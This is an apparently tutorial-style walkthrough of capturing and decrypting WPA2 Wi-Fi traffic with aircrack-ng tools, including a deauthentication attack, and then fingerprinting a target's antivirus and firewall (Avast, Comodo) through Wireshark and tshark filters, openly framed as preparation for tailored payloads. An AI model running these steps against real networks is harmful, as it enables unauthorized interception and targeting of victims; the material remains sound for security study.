Determining the antivirus and firewall software installed on a Windows computer is crucial to an attacker preparing to create a targeted stager or payload. With covert deep packet inspection, that information is easily identified.
This attack assumes the Wi-Fi password to the target network is already known. With the password, an attacker can observer data traversing the network and enumerate installed security software. Popular antivirus and firewall solutions become easily identifiable when benign web traffic is filtered out.
We'll learn how to capture and decrypt Wi-Fi traffic without authenticating to the target router, and we'll perform packet inspection to figure out the kinds of third-party security applications installed on the operating system.
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~# airmon-ng check kill Killing these processes: PID Name 2891 wpa_supplicant
~# airmon-ng start wlan0 PHY Interface Driver Chipset phy2 wlan0 rt2800usb Ralink Technology, Corp. RT2870/RT3070 (mac80211 monitor mode vif enabled for [phy2]wlan0 on [phy2]wlan0mon) (mac80211 station mode vif disabled for [phy2]wlan0)
Then, perform an initial airodump-ng scan to enumerate Wi-Fi networks in the surrounding area.
~# airodump-ng wlan0mon CH 6 ][ Elapsed: 36 s ][ 2020-04-06 20:45 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:20:91:B4:F8:33 -19 13 6 0 11 270 WPA2 CCMP PSK NullByte_Network BSSID STATION PWR Rate Lost Frames Probe
When the router has been identified, press Control-C to stop the scan. Perform a targeted packet capture against the Wi-Fi router by including the --channel, --write, --bssid, and --essid options.
~# airodump-ng --channel 11 --write /root/Desktop/capture --bssid "00:20:91:B4:F8:33" --essid "NullByte_Network" wlan0mon CH 9 ][ Elapsed: 14 mins ][ 2020-04-06 21:00 ] BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:20:91:B4:F8:33 -20 100 8308 1895 0 11 270 WPA2 CCMP PSK NullByte_Network BSSID STATION PWR Rate Lost Frames Probe
Aireplay-ng will de-authenticate devices connected to the router. This command is necessary to capture the WPA2 handshake data. Captured packets are only decryptable with a valid handshake.
Open a new terminal and use the following aireplay-ng command to send three "deauth" packets to the router, forcing the authenticated users to reconnect.
~# aireplay-ng -0 3 -a 00:20:91:B4:F8:33 -e "NullByte_Network" wlan0mon 05:12:46 Waiting for beacon frame (BSSID: 00:20:91:B4:F8:33) on channel 11 NB: this attack is more effective when targeting a connected wireless client (-c <client's mac>). 05:12:46 Sending DeAuth (code 7) to broadcast -- BSSID: [00:20:91:B4:F8:33] 05:12:46 Sending DeAuth (code 7) to broadcast -- BSSID: [00:20:91:B4:F8:33] 05:12:47 Sending DeAuth (code 7) to broadcast -- BSSID: [00:20:91:B4:F8:33]
A successful attack will produce the "WPA handshake" notification in the top-right corner of the airodump-ng terminal.
CH 9 ][ Elapsed: 14 mins ][ 2020-04-06 21:00 ][ WPA handshake: 00:20:91:B4:F8:33 ] BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:20:91:B4:F8:33 -20 100 8308 1895 0 11 270 WPA2 CCMP PSK NullByte_Network BSSID STATION PWR Rate Lost Frames Probe
At this point, the airodump-ng window should continue to capture packets for as long as possible (i.e., many hours). As time passes, security software in the target Windows 10 computer will periodically attempt to update the application and virus definition databases. These web queries are valuable to a hacker with access to the network preparing to mount a targeted attack.
Airdecap-ng is packet capture decryption tool and part of the Aircrack-ng suite.
~# airdecap-ng -b "00:20:91:B4:F8:33" -e "NullByte_Network" -p "WIFI_PASSWORD_HERE" /root/Desktop/capture-01.cap Total number of stations seen 8 Total number of packets read 32310 Total number of WEP data packets 0 Total number of WPA data packets 4555 Number of plaintext data packets 0 Number of decrypted WEP packets 0 Number of corrupted WEP packets 0 Number of decrypted WPA packets 3435 Number of bad TKIP (WPA) packets 0 Number of bad CCMP (WPA) packets 0
Airdecap-ng will use the Wi-Fi ESSID (-e) and password (-p) to decrypt and filter out packets belonging to the network. In the above example, we can see 3435 WPA decrypted packets. Airdecap-ng will create a file called "capture-01-dec.cap" in the current directory.
After decrypting the PCAP, import the new capture-01-dec.cap file into Wireshark.
Avast is one of the most popular antiviral software solutions in the world.
Known Avast domains include avast.com and avcdn.net, its primary content delivery network (CDN). On a daily basis, these domains are used to fetch virus database and software updates as well as send telemetry information. These domains can be filtered out in Wireshark with the following display filter.
ip.host ~ "(?i)(avast|avcdn)\.*"
Many antivirus domains can be added to the filter and separated by vertical bars (|).
The above results are a strong indication that the computer is using Avast antivirus software. The data can be further inspected to identify user-agent strings commonly used by this antivirus provider.
http.user_agent ~ "(?i)avast*"
This particular HTTP stream invoked a POST request and delivered some unencrypted data to an Avast server. As we can see, the request originated from the Windows 10 computer with an Avast user-agent.
The body of the HTTP stream contains some unencrypted data related to the target device. The CPU type, Windows 10 hostname, and motherboard architecture, as well as Avast version and configuration settings, are discoverable from a single HTTP stream.
POST /cgi-bin/iavs4stats.cgi HTTP/1.1 Host: v7.stats.avast.com User-Agent: avast! Antivirus (instup) Accept: */* Content-MD5: Content-Type: iavs4/stats Content-Length: GCHBitmap=0 GChBrand=AVFC GTBBitmap=0 GTBBrand= InstupVersion=19.5.4444.0 IsVirtual=1 NoRegistration=0 OfferEvent=0 OfferResult=2 SZB=0 ScAsAvastReg=1 ScAsAvastStatus=off ScAsOtherList=Windows Defender Antivirus,Avast Antivirus, ScAsOtherReg=2 ScAsOtherStatus=on,off, ScAvAvastReg=1 ScAvAvastStatus=off ScAvOtherList=Windows Defender Antivirus,Avast Antivirus, ScAvOtherReg=2 ScAvOtherStatus=on,off, ScFwAvastReg=0 ScFwAvastStatus= ScFwOtherList=Windows Firewall, ScFwOtherReg=1 ScFwOtherStatus=on, ShepherdConfigName=Avast-Windows-AV-Consumer_email-signatures_antitrack-production_production-new-installs_version-18.6-and-higher_driver-updater-production_v19.3-and-higher_v18.7-and-higher_v2017_test-datasharing-consent_test-antitrack-text-b_free_test-upsell-screens_smartscan-last-screen_new-recomendo_production_version-17.9-and-higher_avast-19-r5_smartscan-free---antivirus_v18.3-and-higher_alpha-new-installs_mybackend-on_test-pam-no-master-password_v18.5-and-higher_chrome-installed-by-avast_cleanup-premium-installation UpdatingTime=0 WEI_Cpu=8.4 WEI_D3D=9.9 WEI_Disk=7.3 WEI_Graphics=2.4 WEI_Memory=5.5 WEI_SystemRating=2.4 boot_time_scan_accepted=0 boot_time_scan_offered=0 brandCode=AVFC bytes=199216597 bytesOK=199216597 community=1 cookie=mmm_ava_tst_004_762_b cpu_name=Intel(R) Core(TM) i7-7700 CPU @ 2.80GHz,4 custom_scan_created=0 edition=1 gsMainStatus=0 gsNoticeNotifs=0 gsUrgentNotifs=0 gsWarningNotifs=0 gui_opened=4 gui_settings_altered=0 gui_settings_opened=0 guid=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx help_opened=0 idate_w=1508774395 lan_addr=tokyoneon-PC lan_ip=192.168.1.152 lang=0409 licAlpha=1 licExpDays=30 licExpirationDate=1562974590 licFeature=5f0231d7-4c46-4855-8199-5d0cb185d427 licIssuedDate=1560382590 licSchemaId=avast-free-1s1m_1s1m licType=Trial licType2=4 offerInstReturn=0 offerReasons=0 offerType=1 on_demand_scan_invoked=0 operation=3 os=win,10,0,2,16299,0,AMD64 part.program=2378,2378,0,0 part.setup=2378,2378,0,0 part.vps=419828228,419828228,0,0 passive_mode=0 product=ais ram_mb=4990 repo_id=iavs9x serial=0 silent=0 status=00000000 statver=2.20 tspan=454 tspanOK=454 version=19.5.2378 statsSendTime=1260399041
This data is very valuable to an attacker on the network as it enables them to craft a payload specific to that user and operating system.
In addition to Wireshark, tshark and grep can easily print and filter DNS requests, respectively, in standard output. Append sort -u to the command to show only unique domains (i.e., no duplicates).
~# tshark -r ~/Desktop/capture-01-dec.cap -n -T fields -e dns.qry.name | grep -i "avast\|avcdn" | sort -u b1477563.iavs9x.u.avast.com b4380882.iavs9x.u.avast.com b4380882.vps18.u.avcdn.net d3336443.vps18.u.avcdn.net f3355109.iavs9x.u.avast.com filerep.ff.avast.com g0679661.iavs9x.u.avast.com g0679661.vps18.u.avcdn.net g5041154.vps18.u.avcdn.net h1745978.iavs9x.u.avast.com h6891735.vps18.u.avcdn.net k8528219.iavs9x.u.avast.com k9290131.iavs9x.u.avast.com m5972635.vps18.u.avcdn.net p3357684.vps18.u.avcdn.net r4907515.vps18.u.avcdn.net s-iavs9x.avcdn.net s-vps18.avcdn.net t7758057.vps18.u.avcdn.net v6831430.vps18.u.avcdn.net v7event.stats.avast.com v7.stats.avast.com
Comodo Firewall is a popular firewall solution designed to monitor incoming and outgoing traffic to identify threats and prevent attacks.
Its DNS server configuration makes it difficult for attackers on the network to enumerate installed applications and visited websites. Still, Comodo software will occasionally check for software updates giving an attacker all the information they need.
ip.host ~ "(?i)(comodo)\.*"
To view queried domains in standard output, examine the PCAP with tshark and filter out DNS requests.
~# tshark -r ~/Desktop/capture-01-dec.cap -n -T fields -e dns.qry.name
This command will likely produce a large output containing thousands of domains, IP addresses, and duplicate entries. Append the sort and uniq commands to count the most commonly queried servers.
~# tshark -r ~/Desktop/capture-01-dec.cap -n -T fields -e dns.qry.name | sort | uniq -c 2 184.108.40.206.in-addr.arpa 72 220.127.116.11.in-addr.arpa 14 18.104.22.168.in-addr.arpa 1 download.comodo.com 1 ncc.avast.com 1 su.ff.avast.com 2 v10.vortex-win.data.microsoft.com 1 wireshark.org
Notice that the 22.214.171.124.in-addr.arpa address appears 72 times in the PCAP. A quick search and IP lookup suggests 126.96.36.199 has been a Comodo DNS server for many years. While this doesn't definitively mean the target has Comodo software installed, it would suggest they're security conscious.
With a comprehensive list of popular antivirus software, an attacker will usually be able to say with certainty if a target Windows machine has security software installed. What's scarier is software enumeration is accomplished without connecting to the Wi-Fi network or needing physical access to the computer.
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